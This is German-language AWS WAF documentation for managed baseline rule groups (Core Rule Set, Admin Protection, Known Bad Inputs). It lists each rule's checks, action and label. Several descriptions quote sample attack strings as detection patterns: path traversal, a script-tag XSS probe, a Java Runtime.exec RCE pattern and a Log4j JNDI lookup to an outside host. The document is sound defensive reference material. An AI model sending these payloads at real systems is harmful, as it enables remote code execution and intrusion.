Basisregelgruppen

Verwalte Basisregelgruppen bieten allgemeinen Schutz vor einer Vielzahl von häufigen Bedrohungen. Wählen Sie eine oder mehrere dieser Regelgruppen aus, um einen grundlegenden Schutz für Ihre Ressourcen zu gewährleisten.

Anmerkung

Die Informationen, die wir für die Regeln in den Regelgruppen „ AWS Verwaltete Regeln“ veröffentlichen, sollen Ihnen ausreichend Informationen zur Verfügung stellen, damit Sie die Regeln verwenden können, ohne dass böswillige Akteure die Regeln umgehen könnten. Wenn Sie mehr Informationen benötigen, als Sie in dieser Dokumentation finden, wenden Sie sich an das AWS Support Center.

Verwaltete Regelgruppe „Core Rule Set“ (CRS)

VendorName:AWS, Name:AWSManagedRulesCommonRuleSet, WCU: 700

Die Regelgruppe Core Rule Set (CRS) enthält Regeln, die allgemein für Webanwendungen gelten. Dies bietet Schutz vor der Ausnutzung einer Vielzahl von Schwachstellen, einschließlich einiger Schwachstellen mit hohem Risiko und häufig auftretender Schwachstellen, die in OWASP-Veröffentlichungen wie OWASP Top 10 beschrieben werden. Erwägen Sie, diese Regelgruppe für jeden AWS WAF Anwendungsfall zu verwenden.

Diese verwaltete Regelgruppe fügt den Webanforderungen, die sie auswertet, Labels hinzu, die für Regeln verfügbar sind, die nach dieser Regelgruppe in Ihrer Web-ACL ausgeführt werden. AWS WAF zeichnet die Labels auch anhand von CloudWatch Amazon-Metriken auf. Allgemeine Informationen zu Labels und Label-Metriken finden Sie unter Bezeichnungen bei Webanforderungen undKennzeichnen Sie Metriken und Dimensionen.

Anmerkung

In dieser Tabelle wird die neueste statische Version dieser Regelgruppe beschrieben. Verwenden Sie für andere Versionen den API-Befehl DescribeManagedRuleGroup.

Regelname	Beschreibung und Kennzeichnung
NoUserAgent_HEADER	Prüft auf Anfragen, denen der User-Agent HTTP-Header fehlt. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:NoUserAgent_Header
UserAgent_BadBots_HEADER	Prüft auf allgemeine User-Agent Header-Werte, die darauf hinweisen, dass es sich bei der Anfrage um einen bösartigen Bot handelt. Beispiele für Muster sind nessus und nmap. Informationen zur Bot-Verwaltung finden Sie auch unter AWS WAF Regelgruppe „Bot-Kontrolle“. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:BadBots_Header
SizeRestrictions_QUERYSTRING	Prüft auf URI-Abfragezeichenfolgen, die mehr als 2.048 Byte lang sind. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:SizeRestrictions_QueryString
SizeRestrictions_Cookie_HEADER	Prüft auf Cookie-Header, die mehr als 10.240 Byte groß sind. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:SizeRestrictions_Cookie_Header
SizeRestrictions_BODY	Sucht nach Anforderungstexten, die größer als 8 KB (8.192 Byte) sind. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:SizeRestrictions_Body
SizeRestrictions_URIPATH	Prüft auf URI-Pfade, die mehr als 1.024 Byte lang sind. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:SizeRestrictions_URIPath
EC2MetaDataSSRF_BODY	Prüft auf Versuche, Amazon EC2-Metadaten aus dem Anfragetext herauszufiltern. Warnung Diese Regel überprüft den Anforderungstext nur bis zur Größenbeschränkung für die Web-ACL und den Ressourcentyp. Für Application Load Balancer und AWS AppSync ist das Limit auf 8 KB festgelegt. Für API Gateway CloudFront, Amazon Cognito, App Runner und Verified Access beträgt das Standardlimit 16 KB, und Sie können das Limit in Ihrer Web-ACL-Konfiguration auf bis zu 64 KB erhöhen. Diese Regel verwendet die Continue Option für den Umgang mit übergroßen Inhalten. Weitere Informationen finden Sie unter Umgang mit übergroßen Webanforderungskomponenten in AWS WAF. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:EC2MetaDataSSRF_Body
EC2MetaDataSSRF_COOKIE	Prüft auf Versuche, Amazon EC2-Metadaten aus dem Anfragecookie herauszufiltern. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:EC2MetaDataSSRF_Cookie
EC2MetaDataSSRF_URIPATH	Prüft auf Versuche, Amazon EC2-Metadaten aus dem Pfad des Anfragen-URI herauszufiltern. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:EC2MetaDataSSRF_URIPath
EC2MetaDataSSRF_QUERYARGUMENTS	Prüft auf Versuche, Amazon EC2-Metadaten aus den Anfragenabfrageargumenten herauszufiltern. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:EC2MetaDataSSRF_QueryArguments
GenericLFI_QUERYARGUMENTS	Prüft auf das Vorhandensein von Local File Inclusion (LFI)-Exploits in den Abfrageargumenten. Beispiele sind Pfaddurchquerungsversuche mit Techniken wie ../../. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:GenericLFI_QueryArguments
GenericLFI_URIPATH	Prüft auf das Vorhanden von Local File Inclusion (LFI)-Exploits im URI-Pfad. Beispiele sind Pfaddurchquerungsversuche mit Techniken wie ../../. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:GenericLFI_URIPath
GenericLFI_BODY	Prüft auf das Vorhandensein Local File Inclusion (LFI)-Exploits im Anfragetext. Beispiele sind Pfaddurchquerungsversuche mit Techniken wie ../../. Warnung Diese Regel überprüft den Anforderungstext nur bis zur Größenbeschränkung für die Web-ACL und den Ressourcentyp. Für Application Load Balancer und AWS AppSync ist das Limit auf 8 KB festgelegt. Für API Gateway CloudFront, Amazon Cognito, App Runner und Verified Access beträgt das Standardlimit 16 KB, und Sie können das Limit in Ihrer Web-ACL-Konfiguration auf bis zu 64 KB erhöhen. Diese Regel verwendet die Continue Option für den Umgang mit übergroßen Inhalten. Weitere Informationen finden Sie unter Umgang mit übergroßen Webanforderungskomponenten in AWS WAF. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:GenericLFI_Body
RestrictedExtensions_URIPATH	Prüft auf Anfragen, deren URI-Pfade Systemdateierweiterungen enthalten, deren Lesen oder Ausführen unsicher ist. Beispiele für Muster sind Erweiterungen wie .log und .ini. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:RestrictedExtensions_URIPath
RestrictedExtensions_QUERYARGUMENTS	Prüft auf Anfragen, deren Abfrageargumente Systemdateierweiterungen enthalten, deren Lesen oder Ausführen unsicher ist. Beispiele für Muster sind Erweiterungen wie .log und .ini. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:RestrictedExtensions_QueryArguments
GenericRFI_QUERYARGUMENTS	Prüft die Werte aller Abfrageparameter auf Versuche, RFI (Remote File Inclusion) in Webanwendungen auszunutzen, indem URLs eingebettet werden, die IPv4-Adressen enthalten. Beispiele sind Muster wie http://, https://, ftp://, ftps:// und file:// mit einem IPv4-Host-Header im Exploit-Versuch. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:GenericRFI_QueryArguments
GenericRFI_BODY	Überprüft den Anforderungstext auf Versuche, RFI (Remote File Inclusion) in Webanwendungen auszunutzen, indem URLs eingebettet werden, die IPv4-Adressen enthalten. Beispiele sind Muster wie http://, https://, ftp://, ftps:// und file:// mit einem IPv4-Host-Header im Exploit-Versuch. Warnung Diese Regel untersucht den Hauptteil der Anfrage nur bis zur Größenbeschränkung für die Web-ACL und den Ressourcentyp. Für Application Load Balancer und AWS AppSync ist das Limit auf 8 KB festgelegt. Für API Gateway CloudFront, Amazon Cognito, App Runner und Verified Access beträgt das Standardlimit 16 KB, und Sie können das Limit in Ihrer Web-ACL-Konfiguration auf bis zu 64 KB erhöhen. Diese Regel verwendet die Continue Option für den Umgang mit übergroßen Inhalten. Weitere Informationen finden Sie unter Umgang mit übergroßen Webanforderungskomponenten in AWS WAF. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:GenericRFI_Body
GenericRFI_URIPATH	Überprüft den URI-Pfad auf Versuche, RFI (Remote File Inclusion) in Webanwendungen auszunutzen, indem URLs eingebettet werden, die IPv4-Adressen enthalten. Beispiele sind Muster wie http://, https://, ftp://, ftps:// und file:// mit einem IPv4-Host-Header im Exploit-Versuch. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:GenericRFI_URIPath
CrossSiteScripting_COOKIE	Überprüft mithilfe der integrierten Funktionen die Werte von Cookie-Headern auf gängige XSS-Muster (Cross-Site Scripting). AWS WAF Cross-Site-Scripting-Angriffsregel-Anweisung Beispiele für Muster sind Skripte wie <script>alert("hello")</script>. Anmerkung Die Details zur Regelübereinstimmung in den AWS WAF Protokollen sind für Version 2.0 dieser Regelgruppe nicht aufgefüllt. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:CrossSiteScripting_Cookie
CrossSiteScripting_QUERYARGUMENTS	Überprüft die Werte von Abfrageargumenten mithilfe der integrierten Funktion auf gängige XSS-Muster (Cross-Site Scripting). AWS WAF Cross-Site-Scripting-Angriffsregel-Anweisung Beispiele für Muster sind Skripte wie <script>alert("hello")</script>. Anmerkung Die Details zur Regelübereinstimmung in den AWS WAF Protokollen sind für Version 2.0 dieser Regelgruppe nicht aufgefüllt. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:CrossSiteScripting_QueryArguments
CrossSiteScripting_BODY	Überprüft den Anforderungstext mithilfe der integrierten Funktion auf gängige XSS-Muster (Cross-Site Scripting). AWS WAF Cross-Site-Scripting-Angriffsregel-Anweisung Beispiele für Muster sind Skripte wie <script>alert("hello")</script>. Anmerkung Die Details zur Regelübereinstimmung in den AWS WAF Protokollen sind für Version 2.0 dieser Regelgruppe nicht aufgefüllt. Warnung Diese Regel überprüft den Anforderungstext nur bis zur Größenbeschränkung für die Web-ACL und den Ressourcentyp. Für Application Load Balancer und AWS AppSync ist das Limit auf 8 KB festgelegt. Für API Gateway CloudFront, Amazon Cognito, App Runner und Verified Access beträgt das Standardlimit 16 KB, und Sie können das Limit in Ihrer Web-ACL-Konfiguration auf bis zu 64 KB erhöhen. Diese Regel verwendet die Continue Option für den Umgang mit übergroßen Inhalten. Weitere Informationen finden Sie unter Umgang mit übergroßen Webanforderungskomponenten in AWS WAF. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:CrossSiteScripting_Body
CrossSiteScripting_URIPATH	Überprüft mithilfe der integrierten Funktionen den Wert des URI-Pfads auf gängige XSS-Muster (Cross-Site Scripting). AWS WAF Cross-Site-Scripting-Angriffsregel-Anweisung Beispiele für Muster sind Skripte wie <script>alert("hello")</script>. Anmerkung Die Details zur Regelübereinstimmung in den AWS WAF Protokollen sind für Version 2.0 dieser Regelgruppe nicht aufgefüllt. Regelaktion: Block Label: awswaf:managed:aws:core-rule-set:CrossSiteScripting_URIPath

Verwaltete Regelgruppe „Admin protection“

VendorName:AWS, Name:AWSManagedRulesAdminProtectionRuleSet, WCU: 100

Die Regelgruppe „Admin Protection“ enthält Regeln, mit denen Sie den externen Zugriff auf offengelegte Verwaltungsseiten blockieren können. Dies kann nützlich sein, wenn Sie Software von Drittanbietern ausführen oder das Risiko verringern möchten, dass ein schädlicher Akteur administrativen Zugriff auf Ihre Anwendung erhält.

Diese verwaltete Regelgruppe fügt den Webanforderungen, die sie auswertet, Labels hinzu, die für Regeln verfügbar sind, die nach dieser Regelgruppe in Ihrer Web-ACL ausgeführt werden. AWS WAF zeichnet die Labels auch anhand von CloudWatch Amazon-Metriken auf. Allgemeine Informationen zu Labels und Label-Metriken finden Sie unter Bezeichnungen bei Webanforderungen undKennzeichnen Sie Metriken und Dimensionen.

Anmerkung

In dieser Tabelle wird die neueste statische Version dieser Regelgruppe beschrieben. Verwenden Sie für andere Versionen den API-Befehl DescribeManagedRuleGroup.

Regelname	Beschreibung und Kennzeichnung
AdminProtection_URIPATH	Sucht nach URI-Pfaden, die im Allgemeinen für die Verwaltung eines Webservers oder einer Anwendung reserviert sind. Ein Beispielmuster ist sqlmanager. Regelaktion: Block Label: awswaf:managed:aws:admin-protection:AdminProtection_URIPath

Verwaltete Regelgruppe „Known Bad Inputs“

VendorName:AWS, Name:AWSManagedRulesKnownBadInputsRuleSet, WCU: 200

Die Regelgruppe „Known Bad Inputs“ enthält Regeln zum Blockieren von Anfragemustern, die bekanntermaßen ungültig sind und mit der Ausnutzung oder Entdeckung von Schwachstellen verbunden sind. Dies kann dazu beitragen, das Risiko zu verringern, dass ein schädlicher Akteur eine gefährdete Anwendung entdeckt.

Diese verwaltete Regelgruppe fügt den Webanforderungen, die sie auswertet, Labels hinzu, die für Regeln verfügbar sind, die nach dieser Regelgruppe in Ihrer Web-ACL ausgeführt werden. AWS WAF zeichnet die Labels auch anhand von CloudWatch Amazon-Metriken auf. Allgemeine Informationen zu Labels und Label-Metriken finden Sie unter Bezeichnungen bei Webanforderungen undKennzeichnen Sie Metriken und Dimensionen.

Anmerkung

In dieser Tabelle wird die neueste statische Version dieser Regelgruppe beschrieben. Verwenden Sie für andere Versionen den API-Befehl DescribeManagedRuleGroup.

Regelname	Beschreibung und Kennzeichnung
JavaDeserializationRCE_HEADER	Untersucht die Schlüssel und Werte von HTTP-Anforderungsheadern auf Muster, die auf Versuche der Remote-Command-Ausführung (Remote Command Execution) mit Java hinweisen, wie z. B. die Sicherheitsanfälligkeiten Spring Core und Cloud Function RCE (CVE-2022-22963, CVE-2022-22965). Ein Beispielmuster ist (java.lang.Runtime).getRuntime().exec("whoami"). Warnung Diese Regel untersucht nur die ersten 8 KB der Anforderungsheader oder die ersten 200 Header, je nachdem, welcher Grenzwert zuerst erreicht wird, und verwendet die Option für die Verarbeitung übergroßer Inhalte. Continue Weitere Informationen finden Sie unter Umgang mit übergroßen Webanforderungskomponenten in AWS WAF. Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_Header
JavaDeserializationRCE_BODY	Überprüft den Anfragetext auf Muster, die auf Versuche zur Ausführung von Remote-Command-Ausführung (Remote Command Execution) mit Java hinweisen, wie z. B. die Sicherheitsanfälligkeiten Spring Core und Cloud Function RCE (CVE-2022-22963, CVE-2022-22965). Ein Beispielmuster ist (java.lang.Runtime).getRuntime().exec("whoami"). Warnung Diese Regel untersucht den Hauptteil der Anfrage nur bis zur Größenbeschränkung für den Hauptteil der Web-ACL und des Ressourcentyps. Für Application Load Balancer und AWS AppSync ist das Limit auf 8 KB festgelegt. Für API Gateway CloudFront, Amazon Cognito, App Runner und Verified Access beträgt das Standardlimit 16 KB, und Sie können das Limit in Ihrer Web-ACL-Konfiguration auf bis zu 64 KB erhöhen. Diese Regel verwendet die Continue Option für den Umgang mit übergroßen Inhalten. Weitere Informationen finden Sie unter Umgang mit übergroßen Webanforderungskomponenten in AWS WAF. Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_Body
JavaDeserializationRCE_URIPATH	Überprüft den Anforderungs-URI auf Muster, die auf Versuche der Java-Deserialisierung mit Remote Command Execution (Remote Command Execution) hinweisen, wie z. B. die Sicherheitslücken Spring Core und Cloud Function RCE (CVE-2022-22963, CVE-2022-22965). Ein Beispielmuster ist (java.lang.Runtime).getRuntime().exec("whoami"). Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_URIPath
JavaDeserializationRCE_QUERYSTRING	Untersucht die Anforderungsabfragezeichenfolge auf Muster, die auf Versuche zur Deserialisierung von Java mit Remote Command Execution (RCE) hinweisen, wie z. B. die Sicherheitsanfälligkeiten Spring Core und Cloud Function RCE (CVE-2022-22963, CVE-2022-22965). Ein Beispielmuster ist (java.lang.Runtime).getRuntime().exec("whoami"). Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_QueryString
Host_localhost_HEADER	Prüft den Host-Header in der Anfrage auf Muster, die localhost anzeigen. Ein Beispielmuster ist localhost. Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:Host_Localhost_Header
PROPFIND_METHOD	Prüft die HTTP-Methode in der Anfrage auf PROPFIND, eine Methode, die HEAD ähnlich ist, jedoch zusätzlich die Herausfilterung von XML-Objekten beabsichtigt. Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:Propfind_Method
ExploitablePaths_URIPATH	Prüft den URI-Pfad auf Versuche, auf ausnutzbare Webanwendungspfade zuzugreifen. Beispiele für Muster umfassen Pfade wie web-inf. Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:ExploitablePaths_URIPath
Log4JRCE_HEADER	Überprüft die Schlüssel und Werte von Anforderungsheadern auf das Vorhandensein der Log4j-Sicherheitslücke (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105) und schützt vor Versuchen mit Remote Code Execution (RCE). Ein Beispielmuster ist ${jndi:ldap://example.com/}. Warnung Diese Regel untersucht nur die ersten 8 KB der Anforderungsheader oder die ersten 200 Header, je nachdem, welcher Grenzwert zuerst erreicht wird, und verwendet die Option für die Verarbeitung übergroßer Inhalte. Continue Weitere Informationen finden Sie unter Umgang mit übergroßen Webanforderungskomponenten in AWS WAF. Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:Log4JRCE_Header
Log4JRCE_QUERYSTRING	Überprüft die Abfragezeichenfolge auf das Vorhandensein der Log4j-Sicherheitslücke (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105) und schützt vor Versuchen mit Remote Code Execution (RCE). Ein Beispielmuster ist ${jndi:ldap://example.com/}. Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:Log4JRCE_QueryString
Log4JRCE_BODY	Überprüft den Text auf das Vorhandensein der Log4j-Sicherheitslücke (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105) und schützt vor Versuchen mit Remote Code Execution (RCE). Ein Beispielmuster ist ${jndi:ldap://example.com/}. Warnung Diese Regel untersucht den Hauptteil der Anfrage nur bis zur Größenbeschränkung für den Hauptteil der Web-ACL und des Ressourcentyps. Für Application Load Balancer und AWS AppSync ist das Limit auf 8 KB festgelegt. Für API Gateway CloudFront, Amazon Cognito, App Runner und Verified Access beträgt das Standardlimit 16 KB, und Sie können das Limit in Ihrer Web-ACL-Konfiguration auf bis zu 64 KB erhöhen. Diese Regel verwendet die Continue Option für den Umgang mit übergroßen Inhalten. Weitere Informationen finden Sie unter Umgang mit übergroßen Webanforderungskomponenten in AWS WAF. Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:Log4JRCE_Body
Log4JRCE_URIPATH	Überprüft den URI-Pfad auf das Vorhandensein der Log4j-Sicherheitslücke (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105) und schützt vor Versuchen mit Remote Code Execution (RCE). Ein Beispielmuster ist ${jndi:ldap://example.com/}. Regelaktion: Block Label: awswaf:managed:aws:known-bad-inputs:Log4JRCE_URIPath